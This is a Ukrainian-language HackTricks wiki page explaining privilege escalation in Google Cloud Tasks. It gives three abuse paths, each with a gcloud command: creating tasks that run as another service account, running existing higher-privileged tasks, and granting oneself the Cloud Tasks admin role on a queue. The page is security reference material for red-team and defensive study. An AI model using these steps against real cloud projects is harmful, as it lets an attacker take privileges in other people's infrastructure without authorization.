GCP - Cloud Tasks Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Атакуючий з цими дозволами може виконувати дії від імені інших сервісних облікових записів, створюючи завдання, які виконуються з ідентичністю вказаного сервісного облікового запису. Це дозволяє надсилати автентифіковані HTTP-запити до сервісів Cloud Run або Cloud Functions, захищених IAM.

Створити Cloud Task з виконанням від імені сервісного облікового запису ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

Зловмисник із такими дозволами може запускати існуючі заплановані завдання без наявності прав на сервісний акаунт, пов’язаний із завданням. Це дозволяє виконувати завдання, які раніше були створені з використанням сервісних акаунтів з вищими привілеями.

Запустити існуюче Cloud Task без дозволу actAs ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

Принципал, який виконує цю команду, не потребує дозволу iam.serviceAccounts.actAs на service account задачі. Однак це лише дозволяє запускати існуючі tasks — не надає можливості створювати або змінювати їх.

cloudtasks.queues.setIamPolicy

Атакуючий із цим дозволом може надати собі або іншим принципалам ролі Cloud Tasks на конкретних чергах, потенційно підвищивши привілеї до roles/cloudtasks.admin, що включає можливість створювати і запускати tasks.

Grant Cloud Tasks admin role on queue ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

Це дозволяє зловмиснику надати повні права адміністратора Cloud Tasks на чергу будь-якому service account, що перебуває під його контролем.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks